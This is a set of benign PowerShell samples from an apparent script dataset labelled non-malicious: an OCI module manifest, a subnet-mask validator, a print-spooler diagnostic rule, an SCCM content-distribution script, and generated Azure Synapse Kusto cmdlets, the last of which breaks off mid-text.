This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @(@{ModuleName = 'OCI.PSModules.Common'; GUID = 'b3061a0d-375b-4099-ae76-f92fb3cdcdae'; RequiredVersion = '92.1.0'; }) # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'assemblies/OCI.DotNetSDK.Queue.dll' # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = '*' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = 'Get-OCIQueue', 'Get-OCIQueueChannelsList', 'Get-OCIQueueMessages', 'Get-OCIQueuesList', 'Get-OCIQueueStats', 'Get-OCIQueueWorkRequest', 'Get-OCIQueueWorkRequestErrorsList', 'Get-OCIQueueWorkRequestLogsList', 'Get-OCIQueueWorkRequestsList', 'Invoke-OCIQueuePurgeQueue', 'Move-OCIQueueCompartment', 'New-OCIQueue', 'Remove-OCIQueue', 'Remove-OCIQueueMessage', 'Remove-OCIQueueMessages', 'Update-OCIQueue', 'Update-OCIQueueMessage', 'Update-OCIQueueMessages', 'Write-OCIQueueMessages' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = '*' # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = 'PSEdition_Core','Windows','Linux','macOS','Oracle','OCI','Cloud','OracleCloudInfrastructure','Queue' # A URL to the license for this module. LicenseUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/LICENSE.txt' # A URL to the main website for this project. ProjectUri = 'https://github.com/oracle/oci-powershell-modules/' # A URL to an icon representing this module. IconUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/icon.png' # ReleaseNotes of this module ReleaseNotes = 'https://github.com/oracle/oci-powershell-modules/blob/master/CHANGELOG.md' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
combined_dataset/train/non-malicious/Test-IPMask_1.ps1
Test-IPMask_1.ps1
<# .SYNOPSIS Tests for a valid IP mask. .DESCRIPTION The Test-IPMask script validates the input string against all CIDR subnet masks and returns a boolean value. .PARAMETER IPMask The IP mask to be evaluated. .EXAMPLE Test-IPMask 255.255.255.0 Description ----------- Tests if the IP mask "255.255.255.0" is a valid CIDR subnet mask. .INPUTS System.String .OUTPUTS System.String System.Boolean .NOTES Name: Test-IPMask.ps1 Author: Rich Kusak (rkusak@cbcag.edu) Created: 2011-01-03 LastEdit: 2011-01-05 00:49 Version 1.0.0 #Requires -Version 2.0 .LINK http://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing .LINK about_regular_expressions #> [CmdletBinding()] param ( [Parameter(Position=0, Mandatory=$true, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] [string]$IPMask ) begin { # Common subnet mask values $common = '0|128|192|224|240|248|252|254|255' # Build a regular expression to represent all possible mask strings $masks = @( "(^($common)\\.0\\.0\\.0$)" "(^255\\.($common)\\.0\\.0$)" "(^255\\.255\\.($common)\\.0$)" "(^255\\.255\\.255\\.($common)$)" ) # Join all possible strings with the regex "or" operator $regex = [string]::Join('|', $masks) } process { # Evaluate the IPMask input and output the result [regex]::Match($IPMask, $regex) | Select @{name='IPMask' ; expression={$IPMask}}, @{name='Valid' ; expression={$_.Success}} }
combined_dataset/train/non-malicious/sample_13_54.ps1
sample_13_54.ps1
#************************************************ # TS_PrintCSRBloatingCheck.ps1 # Version 1.0.1 # Date: 6/26/2012 # Author: v-maam # Description: [Idea ID 2374] [Windows] Spooler service hangs since CSR exhausts the 512 threads in thread pool # Rule number: 2374 # Rule URL: http://sharepoint/sites/rules/Rule Submissions/Forms/DispForm.aspx?ID=2374 #************************************************ Import-LocalizedData -BindingVariable ScriptStrings Display-DefaultActivity -Rule -RuleNumber 2374 $RuleApplicable = $false $RootCauseDetected = $false $RootCauseName = "RC_PrintCSRBloatingCheck" $PublicContent = "http://support.microsoft.com/kb/2697865" $InternalContent = "https://vkbexternal.partners.extranet.microsoft.com/VKBWebService/ViewContent.aspx?scid=B;en-US;2716108 " $Verbosity = "Error" $Visibility = "4" $SupportTopicsID = "8066" $Title = $ScriptStrings.ID_PrintCSRBloatingCheck_ST $InformationCollected = new-object PSObject # *************************** # Data Gathering # *************************** #check the machine is server media or not Function isServerMedia { $Win32OS = Get-CimInstance -Class Win32_OperatingSystem if (($Win32OS.ProductType -eq 3) -or ($Win32OS.ProductType -eq 2)) #Server Media { return $true } else { return $false } } Function AppliesToSystem { if(((($OSVersion.Major -eq 6) -and ($OSVersion.Minor -eq 0)) -or # Server 2008 (($OSVersion.Major -eq 6) -and ($OSVersion.Minor -eq 1))) -and #Server 2008 R2 (isServerMedia)) #Server Media { return $true } else { return $false } } Function getAllBytesOfPrintersDevMode { $PrintersDevModePath = "Registry::HKEY_USERS\.DEFAULT\Printers\DevModes2" if(Test-Path $PrintersDevModePath) { $Properties = Get-ItemProperty $PrintersDevModePath $ExcludeProperty = @('PSPath','PSParentPath','PSChildName','PSProvider') Foreach($Property in $Properties.PSObject.Members|Where-Object -FilterScript {($_.MemberType -eq 'NoteProperty') -and ($ExcludeProperty -notcontains $_.Name)}) { $AllBytesOfPrintersDevMode += $Property.Name.Length + $Property.Value.Length } } return $AllBytesOfPrintersDevMode } Function getNumberOfSpoolsvThreads { return (Get-Process | Where-Object { $_.Name -eq 'spoolsv'} | ForEach-Object { $_.Threads }).Count #get the Threads number of spoolsv process } # ************** # Detection Logic # ************** #Check to see if rule is applicable to this computer if (AppliesToSystem) { $RuleApplicable = $true $BytesUnderDevModes2 = getAllBytesOfPrintersDevMode if ($BytesUnderDevModes2 -gt 700MB ) { $RootCauseDetected = $true $InformationCollected | add-member -membertype noteproperty -name "Number of bytes under DevModes2" -value $BytesUnderDevModes2 $InformationCollected | add-member -membertype noteproperty -name "Current number of threads in spoolsv process" -value (getNumberOfSpoolsvThreads) } } # ********************* # Root Cause processing # ********************* if ($RuleApplicable) { if ($RootCauseDetected) { # Red/ Yellow Light Update-DiagRootCause -id $RootCauseName -Detected $true Write-GenericMessage -RootCauseId $RootCauseName -PublicContentURL $PublicContent -InformationCollected $InformationCollected -Verbosity $Verbosity -Visibility $Visibility -SupportTopicsID $SupportTopicsID -InternalContentURL $InternalContent -SolutionTitle $Title } else { # Green Light Update-DiagRootCause -id $RootCauseName -Detected $false } } # SIG # Begin signature block # MIIoQwYJKoZIhvcNAQcCoIIoNDCCKDACA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0uZ4Ii+eaHtblagJhdD/KsVQpYT/lRt5wkORwLmZR7a9SbG5Ao6ORbWOvVk # BbDqOP/e/H0ZPW2cQe3ca7gkBWaxRNkE7+3n59MKHojVmWwC/JrN # SIG # End signature block
combined_dataset/train/non-malicious/2228.ps1
2228.ps1
[CmdletBinding(SupportsShouldProcess=$true)] param( [parameter(Mandatory=$true, HelpMessage="Site server where the SMS Provider is installed.")] [ValidateNotNullOrEmpty()] [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Quiet})] [string]$SiteServer, [parameter(Mandatory=$true, HelpMessage="Object types that should be assessed for distribution. Supports multiple objects as a string array.")] [ValidateNotNullOrEmpty()] [ValidateSet("Application","Package","DriverPackage","DeploymentPackage","OSImage","OSUpgradePackage","BootImage")] [string[]]$ObjectType, [parameter(Mandatory=$true, HelpMessage="Name of a Distribution Point Group where all non-distributed packages will be added to.")] [ValidateNotNullOrEmpty()] [string]$DPGroupName, [parameter(Mandatory=$false, HelpMessage="Amount of seconds the script will wait until processing next object for distribution.")] [ValidateNotNullOrEmpty()] [int]$DistributionDelaySeconds = 3, [parameter(Mandatory=$false, HelpMessage="Show a progressbar displaying the current operation.")] [ValidateNotNullOrEmpty()] [switch]$ShowProgress ) Begin { try { Write-Verbose -Message "Determining SiteCode for Site Server: '$($SiteServer)'" $SiteCodeObjects = Get-WmiObject -Namespace "root\SMS" -Class SMS_ProviderLocation -ComputerName $SiteServer -ErrorAction Stop foreach ($SiteCodeObject in $SiteCodeObjects) { if ($SiteCodeObject.ProviderForLocalSite -eq $true) { $SiteCode = $SiteCodeObject.SiteCode Write-Debug -Message "SiteCode: $($SiteCode)" } } } catch [System.UnauthorizedAccessException] { Write-Warning -Message "Access denied" ; break } catch [System.Exception] { Write-Warning -Message "Unable to determine SiteCode" ; break } try { $SiteDrive = $SiteCode + ":" Import-Module -Name ConfigurationManager -ErrorAction Stop -Verbose:$false } catch [System.UnauthorizedAccessException] { Write-Warning -Message "Access denied" ; break } catch [System.Exception] { try { Import-Module (Join-Path -Path (($env:SMS_ADMIN_UI_PATH).Substring(0,$env:SMS_ADMIN_UI_PATH.Length-5)) -ChildPath "\ConfigurationManager.psd1") -Force -ErrorAction Stop -Verbose:$false if ((Get-PSDrive $SiteCode -ErrorAction SilentlyContinue | Measure-Object).Count -ne 1) { New-PSDrive -Name $SiteCode -PSProvider "AdminUI.PS.Provider\CMSite" -Root $SiteServer -ErrorAction Stop -Verbose:$false } } catch [System.UnauthorizedAccessException] { Write-Warning -Message "Access denied" ; break } catch [System.Exception] { Write-Warning -Message "$($_.Exception.Message). Line: $($_.InvocationInfo.ScriptLineNumber)" ; break } } try { Add-Type -Path (Join-Path (Get-Item $env:SMS_ADMIN_UI_PATH).Parent.FullName "Microsoft.ConfigurationManagement.ApplicationManagement.dll") -ErrorAction Stop Add-Type -Path (Join-Path (Get-Item $env:SMS_ADMIN_UI_PATH).Parent.FullName "Microsoft.ConfigurationManagement.ApplicationManagement.Extender.dll") -ErrorAction Stop Add-Type -Path (Join-Path (Get-Item $env:SMS_ADMIN_UI_PATH).Parent.FullName "Microsoft.ConfigurationManagement.ApplicationManagement.MsiInstaller.dll") -ErrorAction Stop } catch [System.UnauthorizedAccessException] { Write-Warning -Message "Access denied" ; break } catch [System.Exception] { Write-Warning -Message $_.Exception.Message ; break } $CurrentLocation = $PSScriptRoot $ObjectTypeIDTable = @{ "Package" = "2" "OSUpgradePackage" = "14" "OSImage" = "18" "BootImage" = "19" "DriverPackage" = "23" "DeploymentPackage" = "24" "Application" = "31" } $SMSClassTable = @{ "Package" = "SMS_Package" "OSUpgradePackage" = "SMS_OperatingSystemInstallPackage" "OSImage" = "SMS_ImagePackage" "BootImage" = "SMS_BootImagePackage" "DriverPackage" = "SMS_DriverPackage" "DeploymentPackage" = "SMS_SoftwareUpdatesPackage" "Application" = "SMS_ApplicationLatest" } } Process { function Invoke-ValidateContentPath { param( [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [string]$InputObject, [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [string]$ObjectIdentifier, [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [string]$SMSClass, [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [ValidateSet("Application","Package","DriverPackage","DeploymentPackage","OSImage","OSUpgradePackage","BootImage")] [string]$ObjectType ) switch ($ObjectType) { "Application" { $Application = Get-WmiObject -Namespace "root\SMS\site_$($SiteCode)" -Class $SMSClass -ComputerName $SiteServer -Filter "$ObjectIdentifier like '$($InputObject)'" if ($Application.HasContent -eq $true) { $Application.Get() $ApplicationXML = [Microsoft.ConfigurationManagement.ApplicationManagement.Serialization.SccmSerializer]::DeserializeFromString($Application.SDMPackageXML, $true) $DeploymentTypeCount = ($ApplicationXML.DeploymentTypes | Measure-Object).Count $ValidatedDeploymentTypes = 0 foreach ($DeploymentType in $ApplicationXML.DeploymentTypes) { if (Test-Path -Path $DeploymentType.Installer.Contents[0].Location) { $ValidatedDeploymentTypes++ } } if ($ValidatedDeploymentTypes -eq $DeploymentTypeCount) { return $true } else { return $false } } else { return $false } } Default { $CMObjectContentPath = (Get-WmiObject -Namespace "root\SMS\site_$($SiteCode)" -Class $SMSClass -ComputerName $SiteServer -Filter "$ObjectIdentifier like '$($InputObject)'").PkgSourcePath if (($CMObjectContentPath -ne $null) -and ($CMObjectContentPath -notlike "")) { if (Test-Path -Path $CMObjectContentPath -PathType Any) { return $true } else { return $false } } else { return $false } } } } try { $DPGroupID = Get-WmiObject -Namespace "root\SMS\site_$($SiteCode)" -Class SMS_DPGroupInfo -ComputerName $SiteServer -Filter "Name like '$($DPGroupName)'" -ErrorAction Stop | Select-Object -ExpandProperty GroupID } catch [System.Exception] { Write-Warning -Message "Unable to determine DPGroupID from specified DPGroupName" ; break Set-Location -Path $CurrentLocation } foreach ($CurrentObjectType in $ObjectType) { if ($PSBoundParameters["ShowProgress"]) { $ProgressCount = 0 } try { if ($DPGroupID -ne $null) { $DPGroupDistributedObjectsList = New-Object -TypeName System.Collections.ArrayList $DPGroupObjects = Get-WmiObject -Namespace "root\SMS\site_$($SiteCode)" -Class SMS_DPGroupContentInfo -ComputerName $SiteServer -Filter "GroupID like '$($DPGroupID)' AND ObjectTypeID = $($ObjectTypeIDTable[$CurrentObjectType])" | Select-Object -ExpandProperty ObjectID if ($DPGroupObjects -ne $null) { $DPGroupDistributedObjectsList.AddRange(@($DPGroupObjects)) | Out-Null } else { Write-Verbose -Message "Specified object type '$($CurrentObjectType)' did not return any results when building distributed list of objects" } } } catch [System.Exception] { Write-Warning -Message "Unable to build required list of $($CurrentObjectType) objects targeted with Distribution Point Group '$($DPGroupName)'" ; break Set-Location -Path $CurrentLocation } try { $DistributionObjects = Get-WmiObject -Namespace "root\SMS\site_$($SiteCode)" -Class $SMSClassTable[$CurrentObjectType] -ComputerName $SiteServer -ErrorAction Stop if ($DistributionObjects -ne $null) { $DistributionObjectCount = ($DistributionObjects | Measure-Object).Count switch ($CurrentObjectType) { "Application" { $ObjectIdentifier = "ModelName" ; $ObjectNameProperty = "LocalizedDisplayName" } Default { $ObjectIdentifier = "PackageID" ; $ObjectNameProperty = "Name" } } foreach ($DistributionObject in $DistributionObjects) { if ($PSBoundParameters["ShowProgress"]) { $ProgressCount++ Write-Progress -Activity "Assessing content eligible for distribution by object type: $($CurrentObjectType)" -Id 1 -Status "$($ProgressCount) / $($DistributionObjectCount)" -CurrentOperation "Current object: $($DistributionObject.$ObjectNameProperty)" -PercentComplete (($ProgressCount / $DistributionObjectCount) * 100) } if ($DistributionObject.$ObjectIdentifier -notin $DPGroupDistributedObjectsList) { if ($PSCmdlet.ShouldProcess($DistributionObject.$ObjectNameProperty,"Distribute")) { if ((Invoke-ValidateContentPath -InputObject $DistributionObject.$ObjectIdentifier -ObjectIdentifier $ObjectIdentifier -SMSClass $SMSClassTable[$CurrentObjectType] -ObjectType $CurrentObjectType) -eq $true) { $ContentDistributionParams = @{ DistributionPointGroupName = $DPGroupName ErrorAction = "Stop" Verbose = $false } switch ($CurrentObjectType) { "Package" { $ContentDistributionParams.Add("PackageId", $DistributionObject.$ObjectIdentifier) } "OSUpgradePackage" { $ContentDistributionParams.Add("OperatingSystemInstallerId", $DistributionObject.$ObjectIdentifier) } "OSImage" { $ContentDistributionParams.Add("OperatingSystemImageId", $DistributionObject.$ObjectIdentifier) } "BootImage" { $ContentDistributionParams.Add("BootImageId", $DistributionObject.$ObjectIdentifier) } "DriverPackage" { $ContentDistributionParams.Add("DriverPackageId", $DistributionObject.$ObjectIdentifier) } "DeploymentPackage" { $ContentDistributionParams.Add("DeploymentPackageId", $DistributionObject.$ObjectIdentifier) } "Application" { $ContentDistributionParams.Add("ApplicationName", $DistributionObject.$ObjectNameProperty) } } Set-Location -Path $SiteDrive -ErrorAction Stop -Verbose:$false Start-CMContentDistribution @ContentDistributionParams | Out-Null Write-Verbose -Message "Successfully distributed '$($DistributionObject.$ObjectNameProperty)' to Distribution Point Group '$($DPGroupName)'" Write-Verbose -Message "Allowing $($DistributionDelaySeconds) seconds for the Distribution Manager to process request" Start-Sleep -Seconds $DistributionDelaySeconds Set-Location -Path $CurrentLocation } else { Write-Warning -Message "Content source path could not be validated, skipping '$($DistributionObject.$ObjectNameProperty)'" } } } } } else { Write-Warning -Message "Empty array of objects returned when querying for objects in SMS Class '$($SMSClassTable[$CurrentObjectType])'" } } catch [System.Exception] { Write-Warning -Message "$($_.Exception.Message). Line: $($_.InvocationInfo.ScriptLineNumber)" ; break Set-Location -Path $CurrentLocation } if ($PSBoundParameters["ShowProgress"]) { Write-Progress -Activity "Assessing content distribution for object type: $($CurrentObjectType)" -Id 1 -Completed } } } End { Set-Location -Path $CurrentLocation }
combined_dataset/train/non-malicious/2011.ps1
2011.ps1
. "$psscriptroot/TestRunner.ps1" $assemblyName = "Microsoft.PowerShell.Security" $excludeList = @("SecurityMshSnapinResources.resx") import-module Microsoft.PowerShell.Security Test-ResourceStrings -AssemblyName $AssemblyName -ExcludeList $excludeList
combined_dataset/train/non-malicious/sample_62_29.ps1
sample_62_29.ps1
# ---------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Code generated by Microsoft (R) AutoRest Code Generator.Changes may cause incorrect behavior and will be lost if the code # is regenerated. # ---------------------------------------------------------------------------------- <# .Synopsis Lists available operations for the Kusto sub-resources inside Microsoft.Synapse provider. .Description Lists available operations for the Kusto sub-resources inside Microsoft.Synapse provider. .Example {{ Add code here }} .Example {{ Add code here }} .Outputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IOperation .Link https://learn.microsoft.com/powershell/module/az.synapse/get-azsynapsekustooperation #> function Get-AzSynapseKustoOperation { [OutputType([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IOperation])] [CmdletBinding(DefaultParameterSetName='List', PositionalBinding=$false)] param( [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ List = 'Az.Synapse.private\Get-AzSynapseKustoOperation_List'; } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } <# .Synopsis Creates or updates a database. .Description Creates or updates a database. .Example New-AzSynapseKustoPoolDatabase -ResourceGroupName "testrg" -WorkspaceName "testws" -KustoPoolName "testkustopool" -DatabaseName "mykustodatabase" -Kind "ReadWrite" -Location "East US 2" .Inputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDatabase .Outputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDatabase .Notes COMPLEX PARAMETER PROPERTIES To create the parameters described below, construct a hash table containing the appropriate properties. For information on hash tables, run Get-Help about_Hash_Tables. PARAMETER <IDatabase>: Class representing a Kusto database. Kind <Kind>: Kind of the database [Location <String>]: Resource location. [SystemDataCreatedAt <DateTime?>]: The timestamp of resource creation (UTC). [SystemDataCreatedBy <String>]: The identity that created the resource. [SystemDataCreatedByType <CreatedByType?>]: The type of identity that created the resource. [SystemDataLastModifiedAt <DateTime?>]: The timestamp of resource last modification (UTC) [SystemDataLastModifiedBy <String>]: The identity that last modified the resource. [SystemDataLastModifiedByType <CreatedByType?>]: The type of identity that last modified the resource. .Link https://learn.microsoft.com/powershell/module/az.synapse/new-azsynapsekustopooldatabase #> function New-AzSynapseKustoPoolDatabase { [OutputType([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDatabase])] [CmdletBinding(DefaultParameterSetName='CreateExpanded', PositionalBinding=$false, SupportsShouldProcess, ConfirmImpact='Medium')] param( [Parameter(Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the database in the Kusto pool. ${DatabaseName}, [Parameter(Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the Kusto pool. ${KustoPoolName}, [Parameter(Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the resource group. # The name is case insensitive. ${ResourceGroupName}, [Parameter(Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the workspace ${WorkspaceName}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.DefaultInfo(Script='(Get-AzContext).Subscription.Id')] [System.String] # The ID of the target subscription. ${SubscriptionId}, [Parameter(ParameterSetName='Create', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDatabase] # Class representing a Kusto database. # To construct, see NOTES section for PARAMETER properties and create a hash table. ${Parameter}, [Parameter(ParameterSetName='CreateExpanded', Mandatory)] [ArgumentCompleter([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Support.Kind])] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Support.Kind] # Kind of the database ${Kind}, [Parameter(ParameterSetName='CreateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.String] # Resource location. ${Location}, [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Run the command as a job ${AsJob}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Run the command asynchronously ${NoWait}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ Create = 'Az.Synapse.private\New-AzSynapseKustoPoolDatabase_Create'; CreateExpanded = 'Az.Synapse.private\New-AzSynapseKustoPoolDatabase_CreateExpanded'; } if (('Create', 'CreateExpanded') -contains $parameterSet -and -not $PSBoundParameters.ContainsKey('SubscriptionId')) { $testPlayback = $false $PSBoundParameters['HttpPipelinePrepend'] | Foreach-Object { if ($_) { $testPlayback = $testPlayback -or ('Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.PipelineMock' -eq $_.Target.GetType().FullName -and 'Playback' -eq $_.Target.Mode) } } if ($testPlayback) { $PSBoundParameters['SubscriptionId'] = . (Join-Path $PSScriptRoot '..' 'utils' 'Get-SubscriptionIdTestSafe.ps1') } else { $PSBoundParameters['SubscriptionId'] = (Get-AzContext).Subscription.Id } } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } <# .Synopsis Creates or updates a data connection. .Description Creates or updates a data connection. .Example New-AzSynapseKustoPoolDataConnection -ResourceGroupName testrg -WorkspaceName testws -KustoPoolName testkustopool -DatabaseName testdatabase -Name eventhubdc -Location eastus2 -Kind EventHub -EventHubResourceId "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/testrg/providers/Microsoft.EventHub/namespaces/testeventhubns/eventhubs/testeventhub" -DataFormat "JSON" -ConsumerGroup '$Default' -Compression "None" -TableName "Events" -MappingRuleName "EventsMapping" .Example New-AzSynapseKustoPoolDataConnection -ResourceGroupName testrg -WorkspaceName testws -KustoPoolName testkustopool -DatabaseName testdatabase -Name eventgriddc -Location eastus2 -Kind EventGrid -EventHubResourceId "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/testrg/providers/Microsoft.EventHub/namespaces/testeventhubns/eventhubs/testeventhub" -StorageAccountResourceId "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/testrg/providers/Microsoft.Storage/storageAccounts/teststorage" -DataFormat "JSON" -ConsumerGroup '$Default' -TableName "Events" -MappingRuleName "EventsMapping" .Example New-AzSynapseKustoPoolDataConnection -ResourceGroupName testrg -WorkspaceName testws -KustoPoolName testkustopool -DatabaseName testdatabase -Name iothubdc -Location eastus2 -Kind IotHub -IotHubResourceId "/subscriptions/051ddeca-1ed6-4d8b-ba6f-1ff561e5f3b3/resourceGroups/ywtest/providers/Microsoft.Devices/IotHubs/ywtestiothub" -SharedAccessPolicyName registryRead -DataFormat "JSON" -ConsumerGroup '$Default' -TableName "Events" -MappingRuleName "EventsMapping" .Inputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDataConnection .Outputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDataConnection .Notes COMPLEX PARAMETER PROPERTIES To create the parameters described below, construct a hash table containing the appropriate properties. For information on hash tables, run Get-Help about_Hash_Tables. PARAMETER <IDataConnection>: Class representing a data connection. Kind <DataConnectionKind>: Kind of the 